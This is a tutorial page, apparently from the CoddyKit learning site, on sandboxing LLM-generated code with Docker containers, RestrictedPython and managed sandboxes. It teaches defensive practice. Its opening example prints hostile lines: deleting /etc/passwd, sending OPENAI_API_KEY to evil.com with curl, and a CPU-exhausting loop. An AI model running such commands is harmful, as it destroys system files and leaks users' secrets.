Docker ve RestrictedPython ile Yalıtımlı Çalıştırma
Güvenilmeyen LLM tarafından oluşturulan kodu güvenle çalıştırmak için kaynak sınırları, ağ yalıtımı ve salt okunur dosya sistemleri içeren Docker kapsayıcılarıyla yalıtılmış çalıştırma ortamları oluşturun.
Docker ve RestrictedPython ile Yalıtımlı Çalıştırma, CoddyKit'te ücretsiz bir AI Engineering Academy dersidir. Bu, 4 dersinin 2. dersidir. Aşağıdan dersin tamamını ücretsiz okuyabilir, sonra tarayıcıda yerleşik kod editörü ve 7/24 yapay zeka koçu ile uygulamalı olarak pratik yapabilirsin. Bu, AI Engineering Academy öğrenme yolunun bir parçasıdır ve ilerlemeniz web ve CoddyKit uygulaması arasında senkronize olur. AI Engineering Academy kursu toplamda 4 dersten oluşur.
Bu dersin bazı bölümleri henüz çevrilmemiş olup İngilizce olarak gösterilmektedir.
Why Code Sandboxing Is Non-Negotiable
LLM-generated code runs with the same permissions as the process that calls it. A careless or maliciously injected code snippet can delete files, read environment variables containing API keys, make network requests, exhaust RAM or CPU, or install backdoors. Sandboxing creates an isolated execution environment that limits what the generated code can do, making code execution agents safe enough to run in production.
# Example of dangerous code an LLM might generate
import os
import subprocess
# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd') # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']]) # exfiltrates secrets
while True: pass # exhausts CPU
# Sandboxing prevents ALL of thisDocker as a Sandbox
Docker containers are the most practical sandbox for LLM-generated code in production. Each code execution gets a fresh container built from a minimal image, with strict resource limits on CPU, memory, and time. The container has no access to the host filesystem (except an explicit workspace mount), and network access is disabled or restricted to a whitelist. When execution completes, the container is destroyed.
import docker
import tempfile
import os
client = docker.from_env()
def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
# Write code to temp file
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code)
host_path = f.name
try:
container = client.containers.run(
image='python:3.11-slim', # minimal Python image
command=f'python /workspace/code.py',
volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
mem_limit='256m', # max 256 MB RAM
cpu_period=100000,
cpu_quota=50000, # 50% of 1 CPU core
network_disabled=True, # no internet access
read_only=True, # read-only root filesystem
remove=True, # auto-delete container
timeout=timeout
)
return container.decode('utf-8'), ''
except docker.errors.ContainerError as e:
return '', e.stderr.decode('utf-8')
finally:
os.unlink(host_path)Resource Limits in Docker
Docker provides fine-grained resource controls for sandboxed containers. The key limits to set are: mem_limit to cap memory (e.g., 256m), cpu_quota to limit CPU time, pids_limit to prevent fork bombs, and a timeout to stop hanging code. Without these limits, a poorly written or malicious code snippet could crash the entire host machine by exhausting all available resources.
sandbox_config = {
'image': 'code-sandbox:latest',
'mem_limit': '256m', # 256 MB max RAM
'memswap_limit': '256m', # no swap (prevents RAM expansion via swap)
'cpu_quota': 50000, # 50% of a CPU core
'cpu_period': 100000,
'pids_limit': 64, # max 64 processes (prevents fork bombs)
'network_disabled': True, # no network
'read_only': True, # read-only root filesystem
'tmpfs': {'/tmp': ''}, # writable /tmp in memory only
'security_opt': ['no-new-privileges'], # prevent privilege escalation
'cap_drop': ['ALL'], # drop all Linux capabilities
'remove': True, # auto-remove after execution
}Building a Code Execution Image
Running code in a minimal python:3.11-slim image means no data science libraries are available. Build a custom sandbox image that pre-installs the packages your code agents commonly need (pandas, numpy, matplotlib, scikit-learn) so they do not need internet access to install packages at runtime. Pre-installing also speeds up execution significantly.
# Dockerfile for code sandbox
# FROM python:3.11-slim
#
# RUN pip install --no-cache-dir \
# pandas==2.1.0 \
# numpy==1.25.0 \
# matplotlib==3.7.0 \
# scikit-learn==1.3.0 \
# requests==2.31.0 \
# beautifulsoup4==4.12.0
#
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
#
# WORKDIR /workspace
# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every executionRestrictedPython for In-Process Sandboxing
RestrictedPython is a Python library that compiles code with security restrictions enforced at the AST level. It blocks dangerous built-ins (exec, eval, __import__), restricts attribute access, and prevents access to dunder methods. RestrictedPython runs in the same process (no Docker overhead), making it much faster, but it provides weaker isolation than Docker and is better suited for simple, low-risk code.
from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem
def execute_restricted(code: str) -> dict:
# Compile with restrictions
byte_code = compile_restricted(code, '<string>', 'exec')
# Define a restricted global namespace
restricted_globals = {
'__builtins__': safe_builtins, # no exec, eval, __import__, open
'_getiter_': iter,
'_getitem_': guarded_getitem,
'_iter_unpack_sequence_': safe_iter_unpack_sequence,
'print': print, # allow print
}
local_vars = {}
exec(byte_code, restricted_globals, local_vars)
return local_vars
# Test
try:
result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
print('Blocked:', e)Comparing Docker vs RestrictedPython
The two sandboxing approaches have different trade-offs. Docker provides true OS-level isolation: each execution is a separate process with no shared state, and even a kernel exploit attempt is limited to the container. The downside is 0.5-2 second startup overhead per execution. RestrictedPython starts in milliseconds and requires no container infrastructure, but provides much weaker isolation and has known bypasses for sophisticated attackers.
# Decision guide
def choose_sandbox(requirements: dict) -> str:
if requirements.get('user_provided_code'): # untrusted third party code
return 'docker' # must use Docker for true isolation
if requirements.get('needs_filesystem_access'):
return 'docker' # Docker volumes are safer
if requirements.get('low_latency_critical'): # < 100ms per execution
return 'restrictedpython' # no container startup overhead
if requirements.get('llm_generated_internal_only'): # your own trusted agent
return 'restrictedpython' # acceptable risk, faster
return 'docker' # default to stronger isolation when in doubtWhitelisting Allowed Operations
Both Docker and RestrictedPython support whitelisting: explicitly allowing only the operations the code agent actually needs, rather than blocking everything dangerous. For example, allow pandas and numpy operations but block subprocess, socket, and os.system. Whitelisting is a more secure approach than blacklisting because you do not need to anticipate every possible attack vector.
from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np
# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
'pandas': pd,
'numpy': np,
# NOT allowed: subprocess, socket, os, sys, importlib
}
def make_restricted_globals():
builtins = dict(safe_builtins) # safe subset of Python builtins
builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
return {'__builtins__': builtins, **ALLOWED_MODULES}
def make_guarded_import(allowed: dict):
def guarded_import(name, *args, **kwargs):
if name not in allowed:
raise ImportError(f'Import of {name} is not allowed in sandbox')
return allowed[name]
return guarded_importPersistent Workspace Volumes
A code agent often needs to write intermediate files (a cleaned CSV, a generated chart) that the next code iteration can read. Use a workspace volume in Docker: a directory on the host that is mounted read-write into the container. Each container execution in the same session shares this volume, allowing the agent to build up a workspace of files across iterations while the root container filesystem remains read-only.
import os
import tempfile
class AgentWorkspace:
def __init__(self):
self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
os.chmod(self.dir, 0o755)
print(f'Workspace created: {self.dir}')
def get_docker_mount(self):
return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}
def list_files(self):
return os.listdir(self.dir)
def cleanup(self):
import shutil
shutil.rmtree(self.dir)
print('Workspace cleaned up')
# Usage across iterations
workspace = AgentWorkspace()
for i, code in enumerate(agent_generated_code_iterations):
volumes = workspace.get_docker_mount()
output, err = execute_in_docker(code, volumes=volumes)
# Code in iteration 2 can read files written by iteration 1Sandboxing in Cloud Environments
In production, you often want to run code sandboxes in the cloud rather than on your API server. Services like AWS Lambda (with restricted VPC), Google Cloud Run containers, or dedicated sandboxing services like E2B (e2b.dev) provide managed isolated execution environments. E2B specifically is designed for AI code agents, offering a fast-starting Python sandbox with a simple API.
# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox
def execute_with_e2b(code: str) -> tuple[str, str]:
with Sandbox() as sandbox:
execution = sandbox.run_code(code)
stdout = '\n'.join(execution.logs.stdout)
stderr = '\n'.join(execution.logs.stderr)
return stdout, stderr
# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')Monitoring and Audit Logging
Even with sandboxing, log every code execution for security auditing. Record: the full code submitted for execution, the execution timestamp and duration, the agent session and user that triggered it, the stdout/stderr output, and any security violations attempted (blocked imports, resource limit hits). This audit trail is essential for investigating unexpected behavior and demonstrating compliance.
import time
import hashlib
def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
start = time.time()
stdout, stderr = execute_in_docker(code)
audit_record = {
'agent_id': agent_id,
'session_id': session_id,
'code_hash': code_hash,
'code_preview': code[:200], # first 200 chars
'start_time': start,
'duration_ms': (time.time() - start) * 1000,
'had_error': bool(stderr),
'output_length': len(stdout)
}
write_audit_log(audit_record)
return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}Defense in Depth for Code Agents
No single sandboxing mechanism is perfect. Apply defense in depth: combine Docker isolation with resource limits, use a non-root user inside the container, disable network access, use a read-only root filesystem with a tmpfs for /tmp, run the container in a separate low-privilege VM or cloud function, and monitor execution for anomalous resource usage. Multiple independent layers mean a bypass of one layer does not compromise the whole system.
Quick Check
Test your understanding of code execution sandboxing from this lesson.
Lesson Recap
In this lesson you learned: Docker sandboxing is the gold standard for safely running LLM-generated code, using container-level isolation, resource limits, and network restrictions, RestrictedPython is a faster but weaker in-process alternative suitable for low-risk internal agents, and defense in depth combines multiple layers of protection because no single mechanism is sufficient. Next up we cover state management across code execution steps.
Sıkça Sorulan Sorular
“Docker ve RestrictedPython ile Yalıtımlı Çalıştırma” dersi ücretsiz mi?
Evet — “Docker ve RestrictedPython ile Yalıtımlı Çalıştırma” dersin tüm metni burada web'de ücretsiz olarak okunabilir. Etkileşimli olarak pratik yapmak (yerleşik kod editörü ve 7/24 yapay zeka koçu) ve AI Engineering Academy kursunun geri kalanını açmak için CoddyKit PRO'ya yükselt. AI Engineering Academy kursu toplamda 4 dersten oluşur.
“Docker ve RestrictedPython ile Yalıtımlı Çalıştırma” dersinde ne öğreneceğim?
Güvenilmeyen LLM tarafından oluşturulan kodu güvenle çalıştırmak için kaynak sınırları, ağ yalıtımı ve salt okunur dosya sistemleri içeren Docker kapsayıcılarıyla yalıtılmış çalıştırma ortamları oluş… AI Engineering Academy ile uygulamalı kodu tarayıcıda doğrudan çalıştırarak pratik yaparsın ve 7/24 yapay zeka koçu dersi çalışırken sorularını yanıtlar.
AI Engineering Academy öğrenmeye başlamak için deneyim gerekli mi?
Önceden deneyim gerekmez. CoddyKit'te AI Engineering Academy, başlangıçtan ileri seviyeye kadar yapılandırıldığı için buradan başlayabilir veya başından başlayıp kendi hızında ilerleme yapabilirsin. Bu, 4 dersinin 2. dersidir.
“Docker ve RestrictedPython ile Yalıtımlı Çalıştırma” dersi ne kadar sürer?
Çoğu CoddyKit dersi yaklaşık 5–10 dakika sürer. Her biri kısa ve etkileşimli olduğu için sabit ilerleme yaparsın ve web ile uygulama arasında tam olarak bıraktığın yerden devam edebilirsin.
Bu AI Engineering Academy dersinde kod yazıp çalıştırabilir miyim?
Evet. Her AI Engineering Academy dersi yerleşik bir kod editörü içerir, bu sayede tarayıcıda gerçek kod yazıp çalıştırabilir ve anlık yapay zeka geri bildirimi alırsın — yerel kurulum gerekli değildir.
Bu kursun tüm dersleri
- Kod Çalıştırma Döngüsü
- Docker ve RestrictedPython ile Yalıtımlı Çalıştırma
- Çalıştırma Adımları Arasında Durum Yönetimi
- Veri Analizi Ajanı Oluşturma